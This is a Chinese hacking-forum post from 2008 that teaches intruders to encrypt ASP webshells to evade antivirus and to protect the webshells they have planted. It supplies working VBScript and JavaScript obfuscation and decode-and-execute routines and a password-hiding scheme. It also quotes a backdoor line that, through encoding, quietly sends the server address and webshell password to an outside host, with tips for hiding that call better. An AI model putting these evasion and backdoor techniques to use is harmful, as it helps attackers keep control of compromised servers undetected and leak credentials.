免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 4403 | 回复: 1
打印 上一主题 下一主题

加密你的大马 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2008-07-30 09:30 |只看该作者 |倒序浏览
大家在入侵中应该是捡到过别人的Webshell吧?也许有的大马功能很好,于是你就用了,但是你没想过该马可能有后门?现在很多的大马都加密了,打开时候一片乱码,是不是也想加密自己的大马了,加密后的Webshell不仅可以防止别人捡我们的Shell用,还能免杀webshell。ASP木马加密不难,让我们一起踏上大马加密之旅。\r\n\r\n一:人工加密\r\n\r\n1.主加密函数的编写\r\n\r\n1)主解密与解密函数\r\n\r\n对大马的加密关键是编写我们的加密函数,然后写出相应的解密函数。我这里先得对几个ASP自带函数有个了解\r\n\r\nCHR:将ASCII字码转换成字符\r\n\r\nREPLACE:将一个字符串取代部份字。\r\n\r\nASC:将字符串的第一字母转换成ANSI(美国国家标准符号)字码。\r\n\r\nLen:取得字符串的长度。\r\n\r\n然后对IF语句和一些VBS函数相关知识有个了解。大家有不懂可以查看Windows脚本技术,里面比较详细。\r\n\r\n我们先看下一个最常用的解密函数吧。\r\n\r\ndimShiSan,ShiSanNewstr,ShiSanI\r\n\r\nFunctionShiSanFun(ShiSanObjstr)\r\n\r\nShiSanObjstr=Replace(ShiSanObjstr,\"╁\",\"\"\"\")\r\n\r\nForShiSanI=1ToLen(ShiSanObjstr)\r\n\r\nIfMid(ShiSanObjstr,ShiSanI,1)<>\"╋\"Then\r\n\r\nShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr\r\n\r\nElse\r\n\r\nShiSanNewStr=vbCrLf&ShiSanNewStr\r\n\r\nEndIf\r\n\r\nNext\r\n\r\nShiSanFun=ShiSanNewStr\r\n\r\nEndFunction\r\n\r\n这个解密函数就是将加密后的代码解密。他先将解密代码(Str)中的╁换为引号(\"),得到Str1,然后通过FOR循环,将加密部分(Str1)逐个取出,将取出的字符倒叙连接成一个新字符,并将╋换为vbcrlf(换行符)。这个加密函数应用的相当广泛,就连华夏免杀Webshell也用了这个函数\r\n\r\n好了。知道加密的原理后我们就可以编写自己的加密函数了。ASP的加密函数只需要将上面的部分稍微改下,但是需要可以执行的环境(本地IIS或上传到服务器)。这里我给出了JS+HTML写的加密网页\r\n\r\n---------->JS+HTML加密:\r\n\r\n<html>\r\n\r\n<scriptscript=\"JavaScript\">\r\n\r\nfunctionenCode(theText)\r\n\r\n{\r\n\r\noutput=newString;\r\n\r\nTextSize=theText.length;\r\n\r\nfor(i=0;i<TextSize;i++)\r\n\r\n{\r\n\r\nif(theText.charCodeAt(i)==\"13\")\r\n\r\n{\r\n\r\noutput=\"鹏\"+output;\r\n\r\n}\r\n\r\nelseif(theText.charCodeAt(i)==\"10\")\r\n\r\n{\r\n\r\noutput+=\"\";\r\n\r\n}\r\n\r\nelse\r\n\r\n{\r\n\r\noutput=theText.charAt(i)+output;\r\n\r\n}\r\n\r\n}\r\n\r\nreturnoutput\r\n\r\n}\r\n\r\n</script>\r\n\r\n<formname=encformonsubmit=\"returnfalse;\"/>\r\n\r\n<textareaname=box1rows=16cols=120></textarea>\r\n\r\n<br/>\r\n\r\n<inputtype=buttonvalue=\"加密到下面文本框\"onClick=\"this.form.box2.value=enCode(this.form.box1.value);\"/><br/>\r\n\r\n<textareaname=box2rows=16cols=120></textarea>\r\n\r\n</form>\r\n\r\n</form>\r\n\r\n</html>\r\n\r\n保存为html格式然后用IE打开,将需要加密的部分填写上,然后点击按钮\"加密到下面文本框\",就可以得到加密后的字符串了。\r\n\r\n上面的加密函数是enCode,他的作用是将ASP代码(Code)中的换行换为鹏,得到Code1,然后将Code1倒序(13和10分别是回车和换行的编码)。比如:\r\n\r\nSubRRS(str)\r\n\r\nresponse.write(str)\r\n\r\nEndSub\r\n\r\n加密后就为\r\n\r\nbuSdnE鹏)rts(etirw.esnopser鹏)rts(SRRbuS\r\n\r\n写了加密函数后就要写出对于的解密函数,必须用ASP编写\r\n\r\ndimpsEncode,psStr,psI\r\n\r\nFunctionunCode(psEncode)\r\n\r\nForpsI=1ToLen(psEncode)\r\n\r\nIfMid(psEncode,psI,1)<>\"鹏\"Then\r\n\r\npsNewStr=Mid(psEncode,psI,1)&psNewStr\r\n\r\nElse\r\n\r\npsNewStr=vbCrlf&psNewStr\r\n\r\nEndIf\r\n\r\nNext\r\n\r\nunCode=psNewStr\r\n\r\nEndFunction\r\n\r\n这样我们就可以将ASP中的RRS函数用\r\n\r\nexecute(unCode(\"buSdnE鹏)rts(etirw.esnopser鹏)rts(SRRbuS\"))\r\n\r\n代替掉\r\n\r\nSubRRS(str)\r\n\r\nresponse.write(str)\r\n\r\nEndSub\r\n\r\n我们可以利用这个加密函数加密多处,这样多加密一般可以免杀大马\r\n\r\n(2)加密解密函数\r\n\r\n直接调用解密函数,很容易使自己的解密函数泄露,我们可以利用一个函数来加密我们的加密函数,这样就难找一点了,这主要是为了保护我们的马,对于上面我们的解密函数,我们可以再写一个加密函数,然后调用execute来,这样就可以隐藏我们的解密函数了。这样我们解密函数的源代码就不会明文出现在webshell里了\r\n\r\n(3)嵌套加密\r\n\r\n我们可以在主加密函数里面嵌套次加密函数,不过这样我们需要对应的写出多个解密函数,这样加密比较侧地,小破孩就马就是采用这种加密方法。由于方法相同,我就不多啰嗦了,大家有兴趣可以自己去研究下幽月或小破孩的,我这里有源码,想要的可以到我博客(hi.baidu.com/novaa)\r\n\r\n2.密码的加密\r\n\r\n大家是否遇见过webshell的密码是很长的数字,20多位或30多位。这就是对密码加密了的,通过对密码加密,可以防止别人通过查看我们的源代码得到我们的密码,除非他完全解密了我们的webshell,否则我们大马就是安全的。这里看一个对密码加密的函数。\r\n\r\nFunctionenPass(psStr,Pos)\r\n\r\nDimi,psNewStr\r\n\r\nFori=1ToLen(psStr)\r\n\r\npsNewStr=psNewStr&Asc(Mid(psStr,i,1))+Pos&(20080808-Pos)\r\n\r\nNext\r\n\r\nenPass=psNewStr\r\n\r\nEndFunction\r\n\r\n上面的这个加密函数是对每一位密码的数字取ascii码,然后加上Pos&(20080808-Pos)&i,这里注意&是连接字符,比如n&ov&aa结果是novaa\r\n\r\n然后我们把解密后的部分定义为UserPass\r\n\r\n然后在验证的地方通过\r\n\r\nenPass(request.form(\"pass\"),pn)=UserPass来进行身份验证,当然,通过修改密码的验证方式可以轻松的修改密码,但是前提是你已经完全解密了这个webshell了。\r\n\r\n3.后门的隐藏技术\r\n\r\n怎么隐藏后门?其实主要就利用ASP的自带函数和一些其他技巧,这里我以破小孩后门来解释\r\n\r\nRRS\"<DIVstyle=\"\"CURSOR:url(\'http://\"&chr(37)&\"77\"&chr(37)&\"2E%31\"&chr(39-pos)&\"\"&(4+pos)&\"c%6c\"&chr(37)&\"34%2E\"&chr(37)&\"63%6f\"&chr(37)&\"6d/%\"&(36+pos)&\"%2f?%75=\"&Serveru&\"&%70=\"&UserPass&\"\')\"\">\"\r\n\r\n这个和幽月的后门隐藏技术差不多,都是利用了ASCII编码和HTML编码,CHR(37)是\"/\",我们把它还原就是\r\n\r\nhttp://w.1ll4.com/8/?u=\"&Serveru&\"&p=\"&UserPass&\"\r\n\r\n这里我们可以做的更隐蔽些。\r\n\r\n1.我们查找后门的时候一般是利用查找有UserPass的地方,因此,我们可以利用enPass(request.form(\"pass\"),pn)赋值给另一个变量canyou,然后把&p=\"&UserPass&\"换为&p=\"&canyou&\"\r\n\r\n2.我们可以利用webshell里面自带的常量来代替http,以为http也是经常用来找后门的地方,比如Sot(13,0)=\"Microsoft.XMLHTTP\"这里就有HTTP,我们利用Right函数来取得Sot(13,0)右边的4个字符,然后代替后门中的HTTP\r\n\r\n二:工具加密\r\n\r\n利用微软的脚本加密工具screnc.exe对我们初步加密的webshell进行再次的加密,这样我们的webshell就完全成了一堆乱码了\r\n\r\n有了上面的加密知识,相信大家很快可以掌握ASP的解密,方法都是一样的,然后大家就可以玩玩除后门了。

论坛徽章:
0
2 [报告]
发表于 2009-03-17 23:24 |只看该作者
多谢了,各位\r\n多多学习
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP